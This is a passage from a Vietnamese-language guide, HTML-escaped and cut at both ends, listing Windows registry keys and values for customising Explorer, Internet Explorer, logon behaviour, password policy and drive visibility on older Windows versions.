/&gt;Name: NtfsMftZoneReservation&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: 1 (default) - 4 (maximum)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Tắt chế độ ghi đĩa CD trực tiếp từ Window  Explorer (Windows Xp) &lt;/span&gt;&lt;br /&gt;Trong Windows XP cho phép bạn ghi một đĩa  CD dễ dàng bằng cách kéo những tập tin hoặc thư mục rồi thả vào biểu tượng đĩa  CDR. Bạn có thể tắt chế độ này đi.&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\  Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer&lt;br /&gt;System Key:  HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\  Explorer&lt;br /&gt;Name: NoCDBurning&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 =  Allow CDR, 1 = Disable CDR)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Thay đổi tên và  biểu tượng của ổ đĩa. &lt;/span&gt;&lt;br /&gt;Key: HKEY_LOCAL_MACHINE\ SOFTWARE\  Microsoft\ Windows\ CurrentVersion\ Explorer\ DriveIcons&lt;br /&gt;Name: Default&lt;br /&gt;Type: REG_SZ (String Value)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Chỉ định  chương trình chơi đĩa CD Audio. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Mặc định khi bạn đưa đĩa Cd  Audio vào đĩa thì CD Player của Microsoft sẽ mở đĩa lên. Nhưng nếu có chương  trình khác hay hơi bạn có thể chỉ định cho chương trình đó thay thế.&lt;br /&gt;Key:  HKEY_CLASSES_ROOT\ AudioCD\ Shell\ Play\ Command&lt;br /&gt;Name: (Default)&lt;br /&gt;Type:  REG_SZ (String Value)&lt;br /&gt;Value: Command-line to Execute - nhập vào đường dẫn  của chương trình chơi đĩa bạn muốn.&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Điền  khiển chế độ tự động mở đĩa CD khi đưa đĩa vào ổ. &lt;/span&gt;&lt;br /&gt;Key:  HKEY_LOCAL_MACHINE\ SYSTEM\ CurrentControlSet\ Services\ CDRom.&lt;br /&gt;Name:  Autorun&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0=disable, 1=enable)&lt;br /&gt;&lt;span style="color:red;"&gt;&lt;br /&gt;EXPLORER &lt;/span&gt;&lt;span style="color:blue;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Ẩn mục  Distributed File System trong Windows Explorer &lt;/span&gt;&lt;br /&gt;User Key:  HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\  Explorer.&lt;br /&gt;Name: NoDFSTab&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 =  default, 1 = enable restriction)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Ẩn mục  Security &lt;/span&gt;&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\ Microsoft\  Windows\ CurrentVersion\ Policies\ Explorer.&lt;br /&gt;Name: NoSecurityTab&lt;br /&gt;Type:  REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 = default, 1 = enable restriction)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Ẩn mục Hardware User Key:&lt;/span&gt;  HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\  Explorer.&lt;br /&gt;Name: NoHardwareTab&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value:  (0 = default, 1 = enable restriction)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Tắt  Menu New. &lt;/span&gt;&lt;br /&gt;Tìm đến khoá sau và thêm cho nó dấu `-` sau dấu `{` :&lt;br /&gt;System Key: HKEY_CLASSES_ROOT\ CLSID\ {D969A300-E7FF-11d0-A93B-00A0C90F2719}&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;INTERNET EXPLORER  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Ẩn một số nút trên thanh  ToolBar của Internet Explorer. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Cần tạo một khoá với tên là  `SpecifyDefaultButtons` và gán giá trị cho nó là 1 để thực hiện cêế độ ẩn một số  nút trong danh sách liệt kê bên dơới, bước kế tiếp muốn ẩn một nút bất kỳ trong  danh sách bên dưới thì bạn cần tạo một khoá mới với tên nút đó và gán cho nó giá  trị là 2.&lt;br /&gt;- Btn_Back&lt;br /&gt;&lt;br /&gt;- Btn_Forward&lt;br /&gt;&lt;br /&gt;- Btn_Stop&lt;br /&gt;&lt;br /&gt;-  Btn_Refresh&lt;br /&gt;&lt;br /&gt;- Btn_Home&lt;br /&gt;&lt;br /&gt;- Btn_Search&lt;br /&gt;&lt;br /&gt;- Btn_Favorites&lt;br /&gt;&lt;br /&gt;- Btn_Folders&lt;br /&gt;&lt;br /&gt;- Btn_Media&lt;br /&gt;&lt;br /&gt;- Btn_History&lt;br /&gt;&lt;br /&gt;-  Btn_Fullscreen&lt;br /&gt;&lt;br /&gt;- Btn_Tools&lt;br /&gt;&lt;br /&gt;- Btn_MailNews&lt;br /&gt;&lt;br /&gt;- Btn_Size&lt;br /&gt;&lt;br /&gt;- Btn_Print&lt;br /&gt;&lt;br /&gt;- Btn_Edit&lt;br /&gt;&lt;br /&gt;- Btn_Discussions&lt;br /&gt;&lt;br /&gt;-  Btn_Cut&lt;br /&gt;&lt;br /&gt;- Btn_Copy&lt;br /&gt;&lt;br /&gt;- Btn_Paste&lt;br /&gt;&lt;br /&gt;- Btn_Encoding&lt;br /&gt;&lt;br /&gt;-  Btn_PrintPreview&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\ Microsoft\  Windows\ CurrentVersion\ Policies\&lt;br /&gt;Explorer&lt;br /&gt;System Key:  HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\&lt;br /&gt;Explorer&lt;br /&gt;Name: SpecifyDefaultButtons&lt;br /&gt;Type: REG_DWORD (DWORD Value).&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Không cho phép thay đổi (Customize) trên  Toolbar của Internet Explorer. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;User Key: HKEY_CURRENT_USER\  Software\ Microsoft\ Windows\ CurrentVersion\ Policies\&lt;br /&gt;Explorer&lt;br /&gt;System  Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\&lt;br /&gt;Explorer&lt;br /&gt;Name: NoToolbarCustomize&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (1 = enable restriction)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Không  cho hiện nút Option trong Menu Tool của Internet Explorer:&lt;/span&gt;User Key:  HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\&lt;br /&gt;Explorer&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\  CurrentVersion\ Policies\&lt;br /&gt;Explorer&lt;br /&gt;Name: NoBandCustomize&lt;br /&gt;Type:  REG_DWORD (DWORD Value)&lt;br /&gt;Value: (1 = enable restriction)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Không cho hiện một số nút trên Menu Help:  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;NoHelpMenu - Disable the entire help menu&lt;br /&gt;NoHelpItemNetscapeHelp - Remove the ``For Netscape Users`` menu item&lt;br /&gt;NoHelpItemSendFeedback - Remove the ``Send Feedback`` menu item&lt;br /&gt;NoHelpItemTipOfTheDay - Remove the ``Tip of the Day`` menu item&lt;br /&gt;NoHelpItemTutorial - Remove the ``Tour`` (Tutorial) menu item&lt;br /&gt;&lt;br /&gt;User  Key: HKEY_CURRENT_USER\ Software\ Policies\ Microsoft\ Internet Explorer\&lt;br /&gt;Restrictions&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\ Policies\  Microsoft\ Internet Explorer\&lt;br /&gt;Restrictions&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 = restriction disabled, 1 = restriction enabled)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Không cho phép tải file từ Internet về: &lt;/span&gt;&lt;br /&gt;User  Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\&lt;br /&gt;Internet Settings\ Zones\ 3&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\  Microsoft\ Windows\ CurrentVersion\&lt;br /&gt;Internet Settings\ Zones\ 3&lt;br /&gt;Name:  1803&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 = downloads enabled, 3 =  downloads disabled)&lt;br /&gt;&lt;span style="color:blue;"&gt;&lt;br /&gt;Không cho phép truy  file từ một đường dẫn Internet. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;User Key: HKEY_CURRENT_USER\  Software\ Microsoft\ Windows\ CurrentVersion\ Policies\&lt;br /&gt;Explorer&lt;br /&gt;System  Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\&lt;br /&gt;Explorer&lt;br /&gt;Name: NoFileUrl&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0  = Enable File URLs, 1 = Disable)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Ẩn một số  nút trong Internet Explorer: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;NoBrowserClose - Disable the  option of closing Internet Explorer.&lt;br /&gt;NoBrowserContextMenu - Disable  right-click context menu.&lt;br /&gt;NoBrowserOptions - Disable the Tools / Internet  Options menu.&lt;br /&gt;NoBrowserSaveAs - Disable the ability to Save As.&lt;br /&gt;NoFavorites - Disable the Favorites.&lt;br /&gt;NoFileNew - Disable the File / New  command.&lt;br /&gt;NoFileOpen - Disable the File / Open command.&lt;br /&gt;NoFindFiles -  Disable the Find Files command.&lt;br /&gt;NoSelectDownloadDir - Disable the option of  selecting a download directory.&lt;br /&gt;NoTheaterMode - Disable the Full Screen view  option.&lt;br /&gt;NoAddressBar - Disable the address bar.&lt;br /&gt;NoToolBar - Disable the  tool bar.&lt;br /&gt;NoToolbarOptions - Disable the ability to change toolbar  selection.&lt;br /&gt;NoLinksBar - Disable the links bar.&lt;br /&gt;NoViewSource - Disable  the ability to view the page source HTML.&lt;br /&gt;NoNavButtons - Disables the  Forward and Back navigation buttons&lt;br /&gt;NoPrinting - Remove Print and Print  Preview from the File menu.&lt;br /&gt;NoBrowserBars - Disable changes to browsers  bars.&lt;br /&gt;AlwaysPromptWhenDownload - Always prompt user when downloading files.&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\ Policies\ Microsoft\ Internet  Explorer\&lt;br /&gt;Restrictions&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\  Policies\ Microsoft\ Internet Explorer\&lt;br /&gt;Restrictions&lt;br /&gt;Type: REG_DWORD  (DWORD Value)&lt;br /&gt;Value: (0 = disable restriction, 1 = enable restriction)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Dấu một số tính năng trong Internet Options  trong Control Panel &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Advanced - Prevent changes to advanced  settings&lt;br /&gt;Autoconfig - Prevent changes to Automatic Configuration&lt;br /&gt;Cache -  Prevent changes to temporary file settings&lt;br /&gt;CalendarContact - Prevent changes  to calender and contacts&lt;br /&gt;Certificates - Prevent changes to security  certificates&lt;br /&gt;Check_If_Default - Prevent changes to default browser check&lt;br /&gt;Colors - Prevent Color changes&lt;br /&gt;Connection Settings - Prevent changes to  connection settings&lt;br /&gt;Connection Wizard - Disable the Connection Wizard&lt;br /&gt;Fonts - Disable font changes&lt;br /&gt;History - Disable changes to History  settings&lt;br /&gt;HomePage - Disable changes to Home Page settings&lt;br /&gt;Languages -  Disable Language changes&lt;br /&gt;Links - Disable Links changes&lt;br /&gt;Messaging -  Disable Messaging changes&lt;br /&gt;Profiles - Disable changes to Profiles&lt;br /&gt;Proxy -  Disable changes to Proxy settings&lt;br /&gt;Ratings - Disable Ratings changes&lt;br /&gt;Wallet - Disable changes to Wallet settings&lt;br /&gt;User Key: HKEY_CURRENT_USER\  Software\ Policies\ Microsoft\ Internet Explorer\&lt;br /&gt;Control Panel&lt;br /&gt;System  Key: HKEY_LOCAL_MACHINE\ Software\ Policies\ Microsoft\ Internet Explorer\&lt;br /&gt;Control Panel&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 = disable  restriction, 1 = enable restriction)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Dấu  một số tính năng trong Internet Options trong Control Panel  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Accessibility - disables all options under Accessibility&lt;br /&gt;GeneralTab - removes General tab&lt;br /&gt;SecurityTab - removes Security tab&lt;br /&gt;ContentTab - removes Content tab&lt;br /&gt;ConnectionsTab - removes Connections  tab&lt;br /&gt;ProgramsTab - removes Programs tab&lt;br /&gt;PrivacyTab - removes Privacy tab&lt;br /&gt;AdvancedTab - removes Advanced tab&lt;br /&gt;CertifPers - prevents changing  Personal Certificate options&lt;br /&gt;CertifSite - prevents changing Site Certificate  options&lt;br /&gt;CertifSPub - prevents changing Publisher Certificate options&lt;br /&gt;SecChangeSettings - prevents changing Security Levels for the Internet Zone&lt;br /&gt;SecAddSites - prevents adding Sites to any zone&lt;br /&gt;Privacy Settings -  prevents changs to privacy settings&lt;br /&gt;FormSuggest - disables AutoComplete for  forms&lt;br /&gt;FormSuggest Passwords - prevents Prompt me to save password from being  displayed&lt;br /&gt;Connwiz Admin Lock - disables the Internet Connection Wizard&lt;br /&gt;Settings - prevents any changes to Temporary Internet Files&lt;br /&gt;ResetWebSettings - disables the Reset web Setting button&lt;br /&gt;User Key:  HKEY_CURRENT_USER\ Software\ Policies\ Microsoft\ Internet Explorer\&lt;br /&gt;Control  Panel&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\ Policies\ Microsoft\  Internet Explorer\&lt;br /&gt;Control Panel&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 = disable restriction, 1 = enable restriction)&lt;br /&gt;&lt;span style="color:blue;"&gt;&lt;br /&gt;Xoá những địa chỉ web bạn đã vào. &lt;/span&gt;Vào  Registry tìm đến khoá bên dưới, xoá các nhánh con bên cửa sổ bên phải, trừ  Default&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Internet Explorer\  TypedURLs&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Không cho cài chương trình từ một  website nào đó. &lt;/span&gt;Bạn tạo một khoá mới với đường dẫn bên dưới.  HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Internet  Settings\ ZoneMap\ Domains\ restricted.com&lt;br /&gt;&lt;br /&gt;Under the sub-key create a  new DWORD value called ``*`` and set it to equal ``4``&lt;br /&gt;&lt;br /&gt;System Key:  HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\&lt;br /&gt;Internet  Settings\ ZoneMap\ Domains&lt;br /&gt;Name: *&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (4 = restricted)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Điều khiển chế  độ thông báo lỗi. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\  Microsoft\ Internet Explorer\ Main&lt;br /&gt;Name: IEWatsonDisabled, IEWatsonEnabled&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;&lt;strong&gt;Logon &amp;amp; Authentication  &lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Không cho Screensaver chạy  trong khi Logon: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Khi chưa Logon vào hệ thống, nếu để máy  ở trạng thái `không chịu đưa chìa vào mở khoá cửa` quá lâu thì Screensaver sẽ  chạy. Ta có thể tắt chúng. &lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;no script=""&gt;&lt;/no&gt;User Key:  HKEY_USERS\ .DEFAULT\ Control Panel\ Desktop&lt;br /&gt;Name: ScreenSaveActive&lt;br /&gt;Type: REG_SZ (String Value)&lt;br /&gt;Value: (0 = disabled, 1 = enabled)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Hiển thị nút Shutdown trên hộp thoại  Dialog: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Rất cần để những kẻ tò mò mở máy bạn lên mà không vào  được sẽ nhấn nút Shutdown ngay trước mặt thay vì rút nguồn nguy hại đến máy.&lt;br /&gt;&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\  CurrentVersion\ Winlogon&lt;br /&gt;Name: ShutdownWithoutLogon&lt;br /&gt;Type: REG_SZ (String  Value)&lt;br /&gt;Value: (0 = disabled, 1 = enabled)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Cho phép tự động Logon: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Cho phép người  dùng sử dụng chế độ tự động đăng nhập vào hệ thống sau khi khởi động.&lt;br /&gt;&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\  CurrentVersion\ Winlogon&lt;br /&gt;Name: ForceAutoLogon&lt;br /&gt;Type: REG_SZ (String  Value)&lt;br /&gt;Value: (0 = disabled, 1 = enabled)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Tắt chế độ lưu mật khẩu: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;User Key:  HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\  Network&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\  CurrentVersion\ Policies\ Network&lt;br /&gt;Name: DisablePwdCaching&lt;br /&gt;Type:  REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 = disabled, 1= enabled)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Bắt buộc mật khẩu là các chữ a-z và số. Không cho phép các  ký tự khác: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\ Microsoft\  Windows\ CurrentVersion\ Policies\ Network&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\  Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Network.&lt;br /&gt;Name:  AlphanumPwds&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 = disabled, 1=  enabled)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Ẩn nút Change Password.  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\  CurrentVersion\ Policies\ System.&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\  Microsoft\ Windows\ CurrentVersion\ Policies\ System.&lt;br /&gt;Name:  DisableChangePassword&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 =  disabled, 1 = enabled)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Tắt chế độ khoá nút  WorkStation: &lt;/span&gt;&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\ Microsoft\  Windows\ CurrentVersion\ Policies\ System&lt;br /&gt;System Key:  [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\&lt;br /&gt;System&lt;br /&gt;Name: DisableLockWorkstation&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 = disabled, 1 = enabled)&lt;br /&gt;&lt;span style="color:blue;"&gt;&lt;br /&gt;Tắt  chế độ nhấn và giữ phím Shift để không cho chạy một số chương trình tự động khi  logon: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\  Windows NT\ CurrentVersion\ Winlogon&lt;br /&gt;Name: IgnoreShiftOverride&lt;br /&gt;Type:  REG_SZ (String Value)&lt;br /&gt;Value: (1 = Ignore Shift)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Yêu cầu người dùng phải nhấn tổ hợp phím Ctrl + Alt + Del  trước khi đăng nhập vào hệ thống: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;System Key:  HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon.&lt;br /&gt;Name: DisableCAD&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: (0 = Require  Ctrl+Alt+Delete, 1 = Disable)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Thay đổi dòng  thông báo trên hộp thoại Logon và hộp thoại Security: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;System  Key: HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\  Winlogon&lt;br /&gt;Name: Welcome&lt;br /&gt;Type: REG_SZ (String Value)&lt;br /&gt;Value: Text to  display - nội dung muốn hiển thị&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Không cho  phép hiện tên người dùng cuối cùng: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;User Key:  HKEY_CURRENT_USER\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Policies\  System&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\  CurrentVersion\ Policies\ System&lt;br /&gt;Name: DontDisplayLastUserName&lt;br /&gt;Type:  REG_DWORD (DWORD Value)&lt;br /&gt;Value: (1 = remove username)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Hạn chế số người dùng tự động đăp nhập vào hệ thống:  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows  NT\ CurrentVersion\ Winlogon&lt;br /&gt;Name: AutoLogonCount&lt;br /&gt;Type: REG_DWORD (DWORD  Value)&lt;br /&gt;Value: Number of Automatic Logins&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Chỉ định số người đăng nhập vào hệ thống được lưu vết:  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows  NT\ CurrentVersion\ Winlogon Name: CachedLogonsCount&lt;br /&gt;Type: REG_SZ (String  Value)&lt;br /&gt;Value: 0 - 50 (0 = disabled, 10 = default)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Cho phép bung hộp thoại đòi nhập Password khi UnLock máy và  thoát khỏi Screen Saver: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\  Software\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon&lt;br /&gt;Name:  ForceUnlockLogon&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: 0 = default  authentication, 1 = online authentication&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Hiển thị hộp thông báo trước khi Logon:  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Windows 95, 98 and Me:HKEY_LOCAL_MACHINE\ SOFTWARE\  Microsoft\ Windows\ CurrentVersion\ Winlogon&lt;br /&gt;Windows NT, 2000 and  XP:HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon&lt;br /&gt;&lt;br /&gt;Name: LegalNoticeCaption, LegalNoticeText&lt;br /&gt;Type: REG_SZ (String  Value)&lt;br /&gt;- LegalNoticeCation: Thanh tiêu đề.&lt;br /&gt;- LegalNoticeText: Nội dung  của thông báo.&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Hiển thị dòng thông báo  trong cửa sổ đăng nhập: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;System Key: HKEY_LOCAL_MACHINE\  SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon&lt;br /&gt;Name: LogonPrompt  - nội dung thông báo, lời chào,.....&lt;br /&gt;Type: REG_SZ (String Value)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Cho phép không xây dựng Protables trước khi  đăng nhập vào hệ thống: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;User Key: HKEY_CURRENT_USER\  SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Policies\&lt;br /&gt;System&lt;br /&gt;System  Key: HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Policies\  System&lt;br /&gt;Name: UndockWithoutLogon&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value:  (0 = disabled, 1 = enabled)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Tự động Logon  vào hệ thống: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Tạo một dòng mới `DefaultUserName` và set  username mà bạn muốn tự động Logon&lt;br /&gt;&lt;br /&gt;Tạo một dòng mới `DefaultPassword` và  set password của username đã nhập vào ở trên&lt;br /&gt;&lt;br /&gt;Tạo một dòng mới  `DefaultDomainName` và set domain cho user. Ignore this value if the NT box is  not participating in NT Domain security.&lt;br /&gt;&lt;br /&gt;Tạo một dòng mới  `DefaultDomainName` và set domain cho user. Ignore this value if the NT box is  not participating in NT Domain security.&lt;br /&gt;&lt;br /&gt;Tạo một dòng mới có giá trị là  `AutoAdminLogon` and set `1` to enable auto logon or `0` to disable it.&lt;br /&gt;&lt;br /&gt;For Windows 2000 the additional ForceAutoLogon setting must be enabled  to stop the tweak from resetting on reboot.&lt;br /&gt;&lt;br /&gt;System Key:  HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon  Name: AutoAdminLogon&lt;br /&gt;Type: REG_SZ (String Value)&lt;br /&gt;Value: (0=disable,  1=enable)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Chỉ định chiều dài tối thiểu của  mật khẩu: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;User Key: HKEY_CURRENT_USER\ SOFTWARE\ Microsoft\  Windows\ CurrentVersion\ Policies\&lt;br /&gt;Network&lt;br /&gt;System Key:  HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Policies\&lt;br /&gt;Network&lt;br /&gt;Name: MinPwdLen&lt;br /&gt;Type: REG_BINARY (Binary Value)&lt;br /&gt;&lt;br /&gt;MAIN  BOARD - CPU&lt;br /&gt;&lt;span style="color:blue;"&gt;&lt;br /&gt;Hiển thị thông tin về BIOS:  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Key: HKEY_LOCAL_MACHINE\ HARDWARE\ DESCRIPTION\ System&lt;br /&gt;Name: SystemBiosDate, SystemBiosVersion, VideoBiosDate&lt;br /&gt;Type: REG_SZ  (String Value)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Hiển thị thông tin về CPU:  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Key: HKEY_LOCAL_MACHINE\ HARDWARE\ DESCRIPTION\ System\  CentralProcessor\ 0&lt;br /&gt;Name: ~MHz, Identifier, VendorIdentifier&lt;br /&gt;&lt;span style=";font-size:13.5pt;color:red;"  &gt;&lt;br /&gt;Security  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Ẩn biểu tượng My Computer trên  Start Menu và Desktop: &lt;/span&gt;&lt;br /&gt;User Key: HKEY_CURRENT_USER\ Software\  Microsoft\ Windows\ CurrentVersion\ Policies\&lt;br /&gt;NonEnum&lt;br /&gt;System Key:  HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\  NonEnum&lt;br /&gt;Name: {20D04FE0-3AEA-1069-A2D8-08002B30309D}&lt;br /&gt;Type: REG_DWORD  (DWORD Value)&lt;br /&gt;Value: (0 = show, 1 = hide)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;Ẩn các ổ đĩa trong My Computers: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Chúng ta  có thể ẩn các ổ đĩa từ A đến Z, kể cả các ổ mạng. 0 là hiện tất cả. 1 là ẩn.Bạn  muốn ẩn ổ nào thì cộng các số thập phân này lại. Ví dụ muốn ẩn ổ A và C thì cho  giá trị của khoá NoDrives là 5 = 4(ổ C) + 1(ổ A).&lt;br /&gt;&lt;br /&gt;A: 1, B: 2, C: 4, D:  8, E: 16, F: 32, G: 64, H: 128, I: 256, J: 512, K: 1024, L: 2048, M: 4096, N:  8192, O: 16384, P: 32768, Q: 65536, R: 131072, S: 262144, T: 524288, U: 1048576,  V: 2097152, W: 4194304, X: 8388608, Y: 16777216, 